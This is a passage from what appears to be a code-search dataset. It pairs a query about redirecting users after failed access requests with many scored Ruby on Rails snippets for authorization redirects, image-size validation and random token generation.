[to_integer(read[-8,4]), to_integer(read[-4,4])]\n end\n end\n\n dimensions\n end", "title": "" }, { "docid": "591710329467ed104ef9ca3e59fe3e43", "score": "0.61251587", "text": "def picture_size\n\t\t\tif add_rest_img.size > 10.megabytes\n\t\t\t\terrors.add(:add_rest_img, \"10MB를 넘는 사진입니다.\")\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "613894da57649133bef6072e903152d4", "score": "0.6121587", "text": "def width\n @s3obj.metadata[:imgwidth]\n end", "title": "" }, { "docid": "613894da57649133bef6072e903152d4", "score": "0.6121587", "text": "def width\n @s3obj.metadata[:imgwidth]\n end", "title": "" }, { "docid": "3f0de992778696a61f5ea89302d9a1d7", "score": "0.6114982", "text": "def picture_size\n if picture.size > 2.megabytes\n errors.add(:picture, \"Картинка должна быть не более 2 Мб\")\n end\n end", "title": "" }, { "docid": "0cf3d1cf05c474a9f6128249ca8bf15a", "score": "0.61066157", "text": "def original_size filename\n `#{@command_path}identify -format '%w %h' #{filename}`.split(/\\s/)\n end", "title": "" }, { "docid": "1c8db33e415e5443d7790519f4655f5e", "score": "0.61056256", "text": "def picture_size\n if picture.size > 5.megabytes\n errors.add(:picture, \"에는 5메가바이트 이하의 사진만 올릴 수 있습니다.\")\n end\n end", "title": "" }, { "docid": "ad54d424653158ceae41d583588e40a5", "score": "0.61036265", "text": "def human_size\n File.human_size self\n end", "title": "" }, { "docid": "0de15e57159a28cf4b86d06365c48364", "score": "0.6098713", "text": "def picture_size\n if picture.size > 2.megabytes\n errors.add(:base, \"Please select a smaller file size image\")\n end\n end", "title": "" }, { "docid": "35bd521bf06603023ea22fb0cea7f9a9", "score": "0.60986453", "text": "def image_dimensions(image)\n magick_img = Magick::Image.ping(image).first\n width = magick_img.columns\n height = magick_img.rows\n magick_img.destroy!\n\n [width, height]\n end", "title": "" }, { "docid": "2030d7ee291cb8da41f010ea518d253a", "score": "0.60968375", "text": "def picture_size\n if picture.size > 2.megabytes\n errors.add(:picture, \"no larger than 2MB\")\n end\n end", "title": "" } ]
c32cac1c13f1999725d5ae7da87c3da6
Redirect as appropriate when an access request fails. The default action is to redirect to the login screen. Override this method in your controllers if you want to have special behavior in case the user is not authorized to access the requested action. For example, a popup window might simply close itself.
[ { "docid": "194933ca5a6219f0657ecdf1c8e79dfe", "score": "0.0", "text": "def unauthorized\n if try_jobbee_current_user\n flash[:error] = Jobbee.t(:authorization_failure)\n redirect_to '/unauthorized'\n else\n store_location\n redirect_to respond_to?(:jobbee_login_path) ? jobbee_login_path : Jobbee.root_path\n end\n end", "title": "" } ]
[ { "docid": "e05b070a87b12e498352ef671f9fb03a", "score": "0.7853819", "text": "def access_denied\n if current_user\n redirect_to root_path, error: \"you weren't authorized to #{params[:action]} in #{params[:controller]}\"\n else\n # the problem is almost certainly lack of login\n redirect_to new_user_session_path\n end\n end", "title": "" }, { "docid": "44437eb994043b921303cc0335b43b72", "score": "0.7689675", "text": "def access_denied\r\n redirect_to :controller => \"/users\", :action => \"login\"\r\n end", "title": "" }, { "docid": "73c2f1d243ff891a7f552194446d0137", "score": "0.7638927", "text": "def access_denied\n\t flash[:error] = \"You must login to continue.\"\n\t redirect_to login_path\n end", "title": "" }, { "docid": "8f63b4759a0ec2141299647daa23bd86", "score": "0.76147723", "text": "def access_denied\n redirect_to :controller=>\"/user\", :action =>\"login\"\n end", "title": "" }, { "docid": "b07ae64d786def99f5f65b2e949cac09", "score": "0.7565683", "text": "def access_denied(err=nil)\n # Set this return value so that the user will be returned to the requested page upon login.\n session[:return_to] = request.fullpath\n # Set the error message if one was defined.\n flash[:error] = err if err != nil\n # Redirect to the login page.\n redirect_to '/login'\n end", "title": "" }, { "docid": "754387df9ab2042b72aad9a8fb2bce64", "score": "0.75408185", "text": "def access_denied\n redirect_to login_url\n end", "title": "" }, { "docid": "295ba6c8f06fab736759d8a66bf74e18", "score": "0.75205237", "text": "def access_denied\n\t\t@state.return_to = @request.url\n\t\t@info = 'Oops. You need to login before you can view that page.'\n\t\tredirect('/login')\n end", "title": "" }, { "docid": "07f8beccb493a99b98433a4e112e9b8a", "score": "0.7512745", "text": "def after_access_denied\n redirect_to root_url, alert: \"You don't have access to view this page\"\n end", "title": "" }, { "docid": "86ae0893cb95d9e0291d74d136bf4928", "score": "0.74618924", "text": "def redirect_after_access_denied\n if not current_user or current_user.user?\n redirect_to '/user', notice: t('cancan.access_denied')\n else\n redirect_to '/pro', notice: t('cancan.access_denied')\n end\n end", "title": "" }, { "docid": "9252ca405f793cce57ca1bdab450e5b6", "score": "0.7449039", "text": "def access_denied\n flash[:notice] = \"Please sign in to continue\"\n redirect_to login_url\n end", "title": "" }, { "docid": "cad3728054800f2b9cb23e662b3b0bf3", "score": "0.7447142", "text": "def access_denied\n # send the user home if the access was previously denied by the same\n # request to avoid sending the user back to the login page\n # (e.g. protected page -> logout -> returned to protected page -> home)\n redirect_to root_url and flash.discard and return if request.referer and request.referer.ends_with? request.fullpath\n\n redirect_to new_user_session_url(:referer => request.fullpath)\n end", "title": "" }, { "docid": "1663f190ad8ac7ec573960f44c94181b", "score": "0.7433724", "text": "def access_denied\n flash[:error] = \"You must be logged in to access this page\"\n\t\tstore_location\n redirect_to new_session_url\n end", "title": "" }, { "docid": "820cd6abdd1ee8e5ab73597116ae73ef", "score": "0.7411898", "text": "def access_denied\n # send the user home if the access was previously denied by the same\n # request to avoid sending the user back to the login page\n # (e.g. protected page -> logout -> returned to protected page -> home)\n redirect_to(root_url) && flash.discard && return if request.referer && request.referer.ends_with?(request.fullpath)\n\n redirect_to(root_url) && return unless has_user_authentication_provider?\n\n redirect_to new_user_session_url(referer: request.fullpath)\n end", "title": "" }, { "docid": "224b35128f6697cc55e62eff8e2880ad", "score": "0.7393613", "text": "def access_denied\n redirect '/account/login'\n end", "title": "" }, { "docid": "0692ec7ebcdda7da28d1301ba4c93780", "score": "0.7374535", "text": "def access_denied\n redirect_to :controller=>\"/account\", :action =>\"login\"\n end", "title": "" }, { "docid": "0692ec7ebcdda7da28d1301ba4c93780", "score": "0.7374535", "text": "def access_denied\n redirect_to :controller=>\"/account\", :action =>\"login\"\n end", "title": "" }, { "docid": "5e19aa3f3a44360fa057555c5a3fed16", "score": "0.7358439", "text": "def access_denied\n redirect_to :controller => '/<%= controller_file_name %>', :action => 'login'\n end", "title": "" }, { "docid": "3c3685e47fd8b42d5cac6c81879291b4", "score": "0.73498446", "text": "def access_denied!\n if current_user?\n render :template => Challah.options[:access_denied_view], :status => :unauthorized and return\n else\n session[:return_to] = request.url\n redirect_to signin_path and return\n end\n end", "title": "" }, { "docid": "250ac965415b72bc4c9fa225aba587b5", "score": "0.73392755", "text": "def redirect_to_login_page\n redirect_to(target, alert: I18n.t(:'flash.authorization_failed'))\n end", "title": "" }, { "docid": "b5aa066bb432d9c630c86541d63667ff", "score": "0.7328361", "text": "def access_denied\n store_location\n flash[:notice] = \"You have to be logged in to access\"\n redirect_to log_in_path\n end", "title": "" }, { "docid": "bd0faf92d8d187c17af2ae9efeff4251", "score": "0.7319128", "text": "def access_denied\n flash[:error] = \"You do not have access!\"\n redirect_to :controller => :user, :action => :new\n end", "title": "" }, { "docid": "ed814a4f0ac9ad3131892b11dffbe7a7", "score": "0.7318527", "text": "def access_denied\n redirect_to login_path, notice: \"Please log in to continue.\" and return false\n end", "title": "" }, { "docid": "0d128e24900c981ddc749f43355dc0f3", "score": "0.73179233", "text": "def access_denied\n redirect_to new_session_url\n end", "title": "" }, { "docid": "34f65ec33b230d3653bec8bc194d26d7", "score": "0.73092306", "text": "def access_denied\n\t\tredirect_to :controller => \"person\", :action => \"login\"\n\tend", "title": "" }, { "docid": "004fc2009ea8efaa43d56f07473e5f01", "score": "0.7302549", "text": "def access_denied\n store_location\n redirect_to login_url\n end", "title": "" }, { "docid": "3706fc8d30628d5a8f2cab08357d7af2", "score": "0.7294005", "text": "def access_denied\r\n redirect_to login_path, :notice => 'Please log in to continue' and return false\r\n end", "title": "" }, { "docid": "04ba97a440e9eff5c67f55872d6c137a", "score": "0.7292508", "text": "def access_denied\n store_location\n redirect_to login_path\n end", "title": "" }, { "docid": "d8d378a7cdb63bb8be43912b07872a6d", "score": "0.7272596", "text": "def access_denied\n store_location\n if session[:cas_user]\n redirect_to new_user_path\n else\n redirect_to :login\n end\n end", "title": "" }, { "docid": "e65e267738fd84943dc96c5de191c1be", "score": "0.72621673", "text": "def access_denied\n redirect_to :controller => :account, :action => :login # \"/account\", :action =>\"login\"\n end", "title": "" }, { "docid": "9591d2a864d991fdc30d1f2c89f611e8", "score": "0.72371566", "text": "def access_denied\n flash[:notice] = \"You don't have the right to access this page\"\n redirect_to auth_url(:action => 'denied')\n end", "title": "" }, { "docid": "73114549df25fd94803e129ded8e06d0", "score": "0.7186757", "text": "def access_denied( \n\t\t\tmessage=\"You don't have permission to complete that action.\", \n\t\t\tdefault=root_path )\n\t\tsession[:return_to] = request.url unless params[:format] == 'js'\n\t\tflash[:error] = message\n\t\tredirect_to default\n\tend", "title": "" }, { "docid": "ab0e485f9467eacb64b905abfa26c648", "score": "0.71856993", "text": "def action_not_authorized\n flash[:alert] = 'You are not authorized to perform this action.'\n redirect_to(request.referrer || root_path)\n end", "title": "" }, { "docid": "878752ef43264f1e59c150968508c8a5", "score": "0.71760744", "text": "def error_redirect\n flash[:danger] = 'Authentication data was not provided'\n redirect_to root_url and return\n end", "title": "" }, { "docid": "319f3dbc9ecb0299aa0adede536c6d46", "score": "0.7173457", "text": "def access_denied( \n\t\t\tmessage=\"You don't have permission to complete that action.\", \n\t\t\tdefault=root_path )\n\t\tsession[:return_to] = request.request_uri unless params[:format] == 'js'\n\t\tflash[:error] = message\n\t\tredirect_to default\n\tend", "title": "" }, { "docid": "bdacb036ae1d64e528adca721f945f8f", "score": "0.71700275", "text": "def redirect_unauthorized_access\n if try_refinery_current_user\n flash[:error] = Refinery.t(:authorization_failure)\n redirect_to refinery.forbidden_path\n else\n store_location\n if respond_to?(:refinery_login_path)\n redirect_to refinery_login_path\n else\n redirect_to refinery.respond_to?(:root_path) ? refinery.root_path : main_app.root_path\n end\n end\n end", "title": "" }, { "docid": "abc8874f7dc711decf5cd672154d1a99", "score": "0.7169189", "text": "def access_denied(exception)\n flash[:error] = exception.message\n redirect_to '/'\n end", "title": "" }, { "docid": "4526988da672e20f3361e7025931e9ae", "score": "0.7164333", "text": "def access_denied\n respond_to do |format|\n format.any do\n redirect_to authentication_url\n end\n end\n end", "title": "" }, { "docid": "48bf2025807d3e7eff0d3435fcbce7e6", "score": "0.7157278", "text": "def access_denied\r\n\t\tflash[:error] = \"Nemáte oprávnění pro přístup do této sekce\"\r\n redirect_to auth_url(:action => 'denied')\r\n end", "title": "" }, { "docid": "28f6cb69aebbb54a42015637dc46ce8e", "score": "0.71456546", "text": "def user_not_authorized\n flash[:alert] = 'Unauthorized action.'\n redirect_to(request.referrer || root_path)\n end", "title": "" }, { "docid": "75f7ee81254de1ee36098b818e5fff0b", "score": "0.7141851", "text": "def user_not_authorized\n flash[:alert] = \"You are not authorised to complete this action\"\n redirect_to(request.referrer || root_path)\n end", "title": "" }, { "docid": "82758a83bf46ec9d6a8a022e049d401e", "score": "0.71324897", "text": "def access_denied\n @flash[:notice] = \"Permission denied.\"\n redirect_to :controller=>\"account\", :action =>\"access_denied\"\n end", "title": "" }, { "docid": "c7e4a941fc439202ef08b88debb0224f", "score": "0.71153516", "text": "def deny_access\n store_location\n redirect_to login_path, :notice => \"Please sign in to access this page.\"\n end", "title": "" }, { "docid": "e3aeafd5295dd9c280d5f8b71d4dc81b", "score": "0.7113669", "text": "def deny_access\n store_location\n redirect_to :login, :notice => \"Please login to access that page.\"\n end", "title": "" }, { "docid": "eebad6a53a69a17043fb3036a6c3ecbe", "score": "0.7113394", "text": "def restrict_access\n lost_user_path\n # redirect_to root_path, :alert => \"Access denied\"\n end", "title": "" }, { "docid": "9051a5a21cea8d96b526bed79b0a0382", "score": "0.7111146", "text": "def reject_access\n redirect_back fallback_location: (request.referer || root_path), flash: { alert: 'Acesso não autorizado.' }\n end", "title": "" }, { "docid": "121ead4f4e2deead7b69f508c1022e6a", "score": "0.7107534", "text": "def user_not_authorized\n flash[:error] = \"You are not authorized to perform this action.\"\n redirect_to(request.referrer || root_path)\n end", "title": "" }, { "docid": "ac95e081f9bb965a5aa8a6e7c01de4bd", "score": "0.7107326", "text": "def user_not_authorized\n flash[:alert] = \"Access denied. You are not authorized to perform this action.\"\n redirect_to (request.referrer || root_path)\n end", "title": "" }, { "docid": "c4b1e2c220b4728ff85b575250e46ed8", "score": "0.71045023", "text": "def failed_authorization(options = {})\n unless options[:ignore_flash]\n flash[:error] = options[:flash_error] || \"You do not have access to this page. Please Login to a user that does.\"\n end\n unless options[:ignore_redirect] == true\n redirect_to login_path\n end\n end", "title": "" }, { "docid": "4486c06a5f5b4d4eea1e856d3e00d9bb", "score": "0.70943236", "text": "def redirect_if_not_logged_in\n return if logged_in?\n flash[:danger] = 'Access denied.'\n redirect_to root_path\n end", "title": "" }, { "docid": "1605c2be841db4eec3a5c63046971902", "score": "0.70926124", "text": "def reject_access\n flash[:alert] = \"You do not have access to that action.\"\n redirect_to root_path\n end", "title": "" }, { "docid": "6a2def2ba4a9b5d65c17bc1dc0a0f7db", "score": "0.7087308", "text": "def failure\n flash[:error] = I18n.t(\"authentication.not_allowed\")\n\n redirect_to login_path\n end", "title": "" }, { "docid": "2d89a253db489a6b5752e32a43d544b0", "score": "0.7085284", "text": "def deny_access\n store_location\n redirect_to login_path, :notice => \"You must be logged in in order to access this page.\"\n end", "title": "" }, { "docid": "4ed0092445cf30c3b6d48e43dfdd0cc1", "score": "0.7081519", "text": "def redirect_unauthorized_access\n exception = $! # Exception is not given as a parameter, so we use Ruby's $! to fetch the last parameter\n Rails.logger.debug \"Access denied on action #{exception.action}, subject: #{exception.subject.inspect}\"\n\n super\n end", "title": "" }, { "docid": "33c22c264d73df244a32d8de0a57f2a3", "score": "0.7071865", "text": "def user_not_authorized\n flash[:alert] = 'You are not authorized to perform this action.'\n redirect_to(request.referrer || root_path)\n end", "title": "" }, { "docid": "c2c5846c962ba22f400646362c5809b6", "score": "0.7067966", "text": "def access_denied(options ={})\n store_location\n if logged_in?\n destination = \"/\"\n flash[:error] = ts \"Sorry, you don't have permission to access the page you were trying to reach.\"\n redirect_to destination\n else\n destination = options[:redirect].blank? ? new_user_session_path : options[:redirect]\n flash[:error] = ts \"Sorry, you don't have permission to access the page you were trying to reach. Please log in.\"\n redirect_to destination\n end\n false\n end", "title": "" }, { "docid": "9db937105573d7bb648ff997280a04f4", "score": "0.7060746", "text": "def access_denied\n redirect_to root_path, notice: '권한이 필요합니다.'\n end", "title": "" }, { "docid": "e4465409f6796433763b70bb048aaf32", "score": "0.7052968", "text": "def access_denied\n redirect_to login_path, notice: t(\"application.access_denied\") and return false # You must login before using this option\n end", "title": "" }, { "docid": "5bc06f0fcd3f1c7367d06a70de3da365", "score": "0.7049433", "text": "def user_not_authorized\n flash[:error] = \"You are not authorized to perform this action.\"\n redirect_to(request.referrer || root_path)\n end", "title": "" }, { "docid": "a5d89b805fcdea494d66f750308b20b3", "score": "0.7044208", "text": "def user_not_authorized\n flash[:error] = 'You are not authorized to perform this action.'\n redirect_to(request.referer || root_path)\n end", "title": "" }, { "docid": "4fb4897fb6568e24069474264191c93a", "score": "0.70270884", "text": "def user_not_authorized\n flash[:alert] = \"You are not authorized to perform this action.\"\n redirect_to(request.referrer || root_path)\n end", "title": "" }, { "docid": "4fb4897fb6568e24069474264191c93a", "score": "0.70270884", "text": "def user_not_authorized\n flash[:alert] = \"You are not authorized to perform this action.\"\n redirect_to(request.referrer || root_path)\n end", "title": "" }, { "docid": "4fb4897fb6568e24069474264191c93a", "score": "0.70270884", "text": "def user_not_authorized\n flash[:alert] = \"You are not authorized to perform this action.\"\n redirect_to(request.referrer || root_path)\n end", "title": "" }, { "docid": "3b019b7d91adb6b19a877bb42f4d2a57", "score": "0.70259964", "text": "def deny_and_redirect(msg)\n flash[:error] = \"Access Denied -- #{msg}\"\n redirect_to root_url\n end", "title": "" }, { "docid": "df7123fb24f4101a57c43ec53b8d505a", "score": "0.7018467", "text": "def redirect\n redirect_to Settings.default_redirect_after_login and return\n end", "title": "" }, { "docid": "29278801e79dc469afc9e6c280830560", "score": "0.7015557", "text": "def user_not_authorized\n flash[:error] = \"You are not authorized to perform this action.\"\n redirect_to request.headers[\"Referer\"] || root_url\n end", "title": "" }, { "docid": "a26c3f2c134b032858ac7ca5dcf8cc05", "score": "0.70079243", "text": "def authorization_denied\n logger.debug { \"Authorization Denied\" }\n store_location\n flash[:notice] = \"You don't have permission to view that page.\"\n # redirect_to new_user_session_url\n #TODO: Redirect back or default\n respond_to do |format|\n format.html do\n if request.env['HTTP_REFERER'] \n redirect_to(:back)\n else\n redirect_to('/')\n end\n end\n end\n return false\n end", "title": "" }, { "docid": "62c7f3200257984d165c1c0b2effcc86", "score": "0.70063174", "text": "def failure\n redirect_to :back, :flash => {:error => \"Not authorized.\"}\n end", "title": "" }, { "docid": "749aa010956d3b5ea7166283cbc551b3", "score": "0.69988906", "text": "def access_denied\n redirect_to login_path, :notice => \"Veuillez vous enregistrer pour continuer\" and return false\n end", "title": "" }, { "docid": "312005b4338adc33489af4559b9635ba", "score": "0.69911075", "text": "def user_not_authorized(exception)\n redirect_to(request.referer||login_path,\n flash: {error: \"You are not authorized to perform this action.\"})\n end", "title": "" }, { "docid": "de5c16fd3d6383db5540ae7a8488b908", "score": "0.69764143", "text": "def user_not_authorized\n flash[:alert] = \"You are not authorized to perform this action.\"\n redirect_to(request.referrer || root_path)\n end", "title": "" }, { "docid": "9e959a517be27b5b1707ab2085341a96", "score": "0.6974952", "text": "def access_denied\n # flash[:notice] = _('You have to login OpenFoundry first.')\n # redirect_to '/user/login'\n redirect_to SSO_LOGIN\n end", "title": "" }, { "docid": "e524f11ba92988784fbaf9942b12643b", "score": "0.696606", "text": "def permission_denied\n flash[:error] = \"Sorry, you're not allowed to access that page\"\n redirect_to root_url\n end", "title": "" }, { "docid": "c316becddba0c38c1ca71eab92a38ac1", "score": "0.69560194", "text": "def access_denied\n respond_to do |format|\n format.html do\n store_location\n redirect_to new_admin_login_path\n end\n end\n end", "title": "" }, { "docid": "666fdf4621505d77962d1d881c0edc07", "score": "0.69522583", "text": "def user_not_authorized\n flash[:alert] = t(\"unauthorized\")\n redirect_back fallback_location: root_path\n end", "title": "" }, { "docid": "2f31d98d4d84c7604c651ef167719698", "score": "0.6951465", "text": "def login_redirect\n session[:return_to] = request.url\n if request.xhr?\n render :text => alert_layer_path(\"generic\"), :status => 403\n else\n redirect_to new_session_path\n end\n end", "title": "" }, { "docid": "1f14216300bc553996ad83800af21974", "score": "0.69504637", "text": "def failure\n redirect_to root_url, alert: \"Authentication failed, please try again.\"\n end", "title": "" }, { "docid": "9032b8db85a56f68c40bc4f965d2c856", "score": "0.69449514", "text": "def access_denied(_active_admin_context)\n redirect_to '/401'\n end", "title": "" }, { "docid": "9032b8db85a56f68c40bc4f965d2c856", "score": "0.69449514", "text": "def access_denied(_active_admin_context)\n redirect_to '/401'\n end", "title": "" }, { "docid": "d91417a9dd5e76b88a7d51c6ff23c16c", "score": "0.6939502", "text": "def restricted_access\n\t\t#render \"error_pages/404\"\n\t\tflash[:error] = \"Please Sign In To View Requested Pages\"\n\t\tredirect_to signin_path\n\tend", "title": "" }, { "docid": "7792e944ea662a0178545b3e353676b2", "score": "0.6928196", "text": "def unauthorized_access(exception)\n if current_user\n redirect_to main_app.root_url, alert: exception.message\n else\n redirect_to main_app.new_user_session_path, alert: 'Please sign in to continue.'\n end\n end", "title": "" }, { "docid": "782c6ebb6c7a9e35a0beb6a8427c0cf5", "score": "0.6926259", "text": "def authorization_denied\n logger.debug { \"Authorization Denied\" }\n store_location\n flash[:notice] = \"You don't have permission to view that page.\"\n # redirect_to new_user_session_url\n #TODO: Redirect back or default\n respond_to do |format|\n format.html do\n if !logged_in?\n redirect_to(login_url)\n elsif request.env['HTTP_REFERER'] \n redirect_to(:back)\n else\n redirect_to('/')\n end\n end\n end\n return false\n end", "title": "" }, { "docid": "af3a3236a076eb4b0559a290b7dda550", "score": "0.6923026", "text": "def permission_denied\n flash[:error] = \"Sorry, you are not allowed to access that page.\"\n redirect_to root_url\n end", "title": "" }, { "docid": "216916e0c4874a5ee5247188f3386710", "score": "0.6912159", "text": "def deny_access\n redirect_to \"/\", :notice => \"Please sign in to access this page.\"\n end", "title": "" }, { "docid": "3a61e935385b4a03cbce8490ee0be70d", "score": "0.69092363", "text": "def failure\n redirect_to root_path\n end", "title": "" }, { "docid": "982fb3973e16c719ba3e1d34878d6b56", "score": "0.6903771", "text": "def deny_access\n store_location\n redirect_to \"/login\"\n end", "title": "" }, { "docid": "0f9ff3c6fcace1b043bd3a5cf6d68e90", "score": "0.6895368", "text": "def deny_access\n store_location # This method stores a URL in a session variable for future reference\n redirect_to signin_path, :notice => \"Please sign in to access this page.\"\n end", "title": "" }, { "docid": "af803cf08472a97fbe7bd3535caeaedf", "score": "0.6894266", "text": "def deny_access\n flash[:notice] = \"Please sign in to access this page.\"\n redirect_to root_path\n end", "title": "" }, { "docid": "9fb2900349a0f6906ba534538f175996", "score": "0.68923205", "text": "def permission_denied\n\tflash[:notice] = \"You don't have permission to do that!\"\n\tredirect_back_or_default('/')\n end", "title": "" }, { "docid": "cf6b4219a22cd77716f4e7c9444d8786", "score": "0.68902236", "text": "def access_denied\n redirect_to :controller=>\"wavedb\", :action =>\"login\", :params => {'message' => \"***Sorry, you do not have access to this section. Msg:#{@message}\"}\n end", "title": "" }, { "docid": "48786a5b8d2feea293c8ef7dbefad46c", "score": "0.68897593", "text": "def deny_access\n store_location\n redirect_to signin_path, :notice => \"Please sign in to access this page.\"\n end", "title": "" }, { "docid": "48786a5b8d2feea293c8ef7dbefad46c", "score": "0.68897593", "text": "def deny_access\n store_location\n redirect_to signin_path, :notice => \"Please sign in to access this page.\"\n end", "title": "" }, { "docid": "720ae016c3d81cea16e2b4bef9d86cd3", "score": "0.68870384", "text": "def deny_access\n store_location # This line was added for friendly forawarding\n # store_location is storing the full path of the request\n # The store_location method puts the requested URI in the \n # session variable under the key :return_to. (see in private session)\n # see the rest in private section in # ----- friendly forwarding --- #\n redirect_to signin_path, :notice => \"Please sign in to access this page.\"\n end", "title": "" }, { "docid": "2568dbe7f6cadd99fc1bc153c1b5a59c", "score": "0.68853855", "text": "def deny_access(exception)\n if exception.action == :edit\n redirect_to(main_app.url_for(action: 'show'), alert: exception.message)\n elsif current_user and current_user.persisted?\n redirect_to main_app.root_path, alert: exception.message\n else\n session['user_return_to'.freeze] = request.url\n redirect_to main_app.new_user_session_path, alert: exception.message\n end\n end", "title": "" }, { "docid": "fc32167c5e35597448c4053043709be6", "score": "0.68824005", "text": "def user_not_authorized\n flash[:error] = \"You are not authorized to perform this action.\"\n redirect_to(request.referrer || sections_path || root_path)\n end", "title": "" }, { "docid": "d462c756eaa7ec070b766531186c4b62", "score": "0.688139", "text": "def user_not_authorized\n flash[:alert] = \"You are not authorized to perform this action.\"\n redirect_to(root_path)\n end", "title": "" }, { "docid": "d462c756eaa7ec070b766531186c4b62", "score": "0.688139", "text": "def user_not_authorized\n flash[:alert] = \"You are not authorized to perform this action.\"\n redirect_to(root_path)\n end", "title": "" }, { "docid": "095b3b96c3860d9d82738395b669099f", "score": "0.68808496", "text": "def after_access_denied_path\n fail 'Please implement this method'\n end", "title": "" }, { "docid": "48941fbce59a06fa8224b88ac64274ab", "score": "0.6880355", "text": "def redirect_unless_admin_user_logged_in\n return if current_user_admin?\n\n flash[:danger] = t('errors.access_denied')\n redirect_to access_denied_path\n end", "title": "" }, { "docid": "8bc72b1e226cf76c3d1e25637f24b57f", "score": "0.68799007", "text": "def permission_denied\n flash[:error] = \"Da haben wir einen Riegel vorgeschoben und zwar keinen Schokoriegel!\"\n\n redirect_to(request.referrer || root_path)\n end", "title": "" }, { "docid": "23de4b0c4cf0eddc18709356cfe6c981", "score": "0.68747526", "text": "def redirect_to_login msg\n if request.format && request.format.html?\n flash[:notice] = msg\n session[:original_uri] = request.fullpath\n redirect_to login_path\n else # XML, JavaScript etc\n render text: Rack::Utils::HTTP_STATUS_CODES[403], status: 403 # Forbidden\n end\n end", "title": "" }, { "docid": "7f9d053350c5c4e86883380108f6c40e", "score": "0.6873384", "text": "def unauthorized_redirect(notice = 'You are not authorized to view the page you requested')\n flash[:notice] = notice\n redirect_to login_main_path\n end", "title": "" } ]
99ddcea110a5622a3e14c9d6045f0d24
Generates an unique token.
[ { "docid": "a78f0ab540b86b3e4751609c5150ec9e", "score": "0.0", "text": "def reset_token\n self.token = self.class.generate_token(:token)\n end", "title": "" } ]
[ { "docid": "65b911435ff3d21bd4e3a63b06ff6aee", "score": "0.874168", "text": "def generate_token\n self.token = Digest::SHA1.hexdigest([Time.now, rand].join)\n end", "title": "" }, { "docid": "65b911435ff3d21bd4e3a63b06ff6aee", "score": "0.874168", "text": "def generate_token\n self.token = Digest::SHA1.hexdigest([Time.now, rand].join)\n end", "title": "" }, { "docid": "65b911435ff3d21bd4e3a63b06ff6aee", "score": "0.874168", "text": "def generate_token\n self.token = Digest::SHA1.hexdigest([Time.now, rand].join)\n end", "title": "" }, { "docid": "6cd9b0b792e68215b0f81902b2011920", "score": "0.8714087", "text": "def generate_token\n self.token = Digest::SHA1.hexdigest(\"--#{Time.now.to_s}--#{rand}--\")\n end", "title": "" }, { "docid": "dbfab4aa6a5996c0bdd97cb8cccb35f6", "score": "0.85720587", "text": "def generate_token\n UUIDTools::UUID.random_create.hexdigest\n end", "title": "" }, { "docid": "acab836b0ac6942bb63e2f1696a1d62f", "score": "0.8540579", "text": "def generate_token\n UUID.new.generate :compact\n end", "title": "" }, { "docid": "84fe8f108cdaddc82d4535e844b173fc", "score": "0.8433811", "text": "def make_a_token\n\t\t\treturn Digest::SHA1.hexdigest([Time.now, rand].join)[0..5]\n\t\tend", "title": "" }, { "docid": "f8c35175bce82788439ecfe2b1acb74f", "score": "0.83477914", "text": "def make_token\n require 'digest/md5'\n Digest::MD5.hexdigest(\"#{inspect}#{Time.now}#{rand}\")\n end", "title": "" }, { "docid": "578e957f285915e5c63306dcb07971a4", "score": "0.8293073", "text": "def generate_token\n self.token = Digest::SHA1.hexdigest([self.trip_id, Time.now, rand].join)\n end", "title": "" }, { "docid": "840135a6a57595fee0ec1371ae793420", "score": "0.8273343", "text": "def make_token\n \"#{rand(0..9)}#{SecureRandom.hex(SECURE_HEX_SIZE)}#{rand(0..9)}\"\n end", "title": "" }, { "docid": "88db5bca0269ffc4fd6431eda6a4033c", "score": "0.8261844", "text": "def generate_unique_token\n record, options = true, @has_token_id_options\n conditions = {}\n while record\n token = [ options[:prefix], Digest::SHA1.hexdigest((Time.now.to_i * rand()).to_s)].compact.join[0...options[:length].to_i]\n conditions[options[:param_name].to_sym] = token\n record = self.where(conditions).first\n end\n token\n end", "title": "" }, { "docid": "a3101e61e767ba919404ca307a34dd77", "score": "0.821836", "text": "def create_unique_token\n self._token=SecureRandom.hex(16) if self.token.nil?\n end", "title": "" }, { "docid": "aebaeee5e22d6123247c567ab3aa519d", "score": "0.81919503", "text": "def generate_token\n update_attribute(:token, Digest::MD5.hexdigest(login + Time.now.to_i.to_s + rand(999999).to_s)[0..4])\n end", "title": "" }, { "docid": "d94a9692e25e78e9ea95b304002fa427", "score": "0.8187977", "text": "def create_token\n self.token = 'IMGRY'+Digest::SHA1.hexdigest(rand().to_s + Time.new.to_s)[0, 32].upcase!\n end", "title": "" }, { "docid": "423053aebd29f58d8d6aeaeb3c58e742", "score": "0.818521", "text": "def generate_token\n self.token = Digest::SHA1.hexdigest([self.trip_id, Time.now, rand].join)\n end", "title": "" }, { "docid": "1fad6c4a9e8f706038b595c9e2303ad2", "score": "0.81561196", "text": "def generate_token\n token_gen = SecureRandom.hex\n self.token = token_gen\n token_gen\n end", "title": "" }, { "docid": "2508ad04f254ca96edfcf081b054775e", "score": "0.8156058", "text": "def generate_token\n SecureRandom.hex(32)\n end", "title": "" }, { "docid": "cd8788be286eca6288475c3772380ab8", "score": "0.811361", "text": "def generate_token\n token_gen = SecureRandom.hex\n self.token = token_gen\n token_gen\n end", "title": "" }, { "docid": "6291abdb5b1a468fbd859bc73fd2a1e7", "score": "0.8100883", "text": "def make_token\n secure_digest(Time.now, (1..10).map{ rand.to_s })\n end", "title": "" }, { "docid": "6291abdb5b1a468fbd859bc73fd2a1e7", "score": "0.8100883", "text": "def make_token\n secure_digest(Time.now, (1..10).map{ rand.to_s })\n end", "title": "" }, { "docid": "4caf0bc10377150a691282fe27736385", "score": "0.81007403", "text": "def generate_token\n self.token = Digest::SHA1.hexdigest([self.team_id, Time.now, rand].join)\n end", "title": "" }, { "docid": "c02d586d3c1210e5dfc268da94095dd4", "score": "0.80999124", "text": "def generate_token\n token_gen = SecureRandom.hex\n self.token = token_gen\n toekn_gen\n end", "title": "" }, { "docid": "a8482e716adc60447a792a342cf76305", "score": "0.8089734", "text": "def generate_token\n\t\tself.token = Digest::SHA1.hexdigest([self.group_id, Time.now, rand].join)\n\tend", "title": "" }, { "docid": "d34720ff6e010bfcaee0e4ab25959a7f", "score": "0.8070933", "text": "def make_token\n secure_digest(Time.now, (1..10).map { rand.to_s })\n end", "title": "" }, { "docid": "814372a36f1dc2f994485efe321e98e4", "score": "0.8069876", "text": "def make_token\n secure_digest(Time.now, (1..10).map{ rand.to_s })\n end", "title": "" }, { "docid": "aa4e03f97d3013e0d6c5e5055a5f23e8", "score": "0.8068854", "text": "def generate_token\n token_gen = SecureRandom.hex\n self.token = 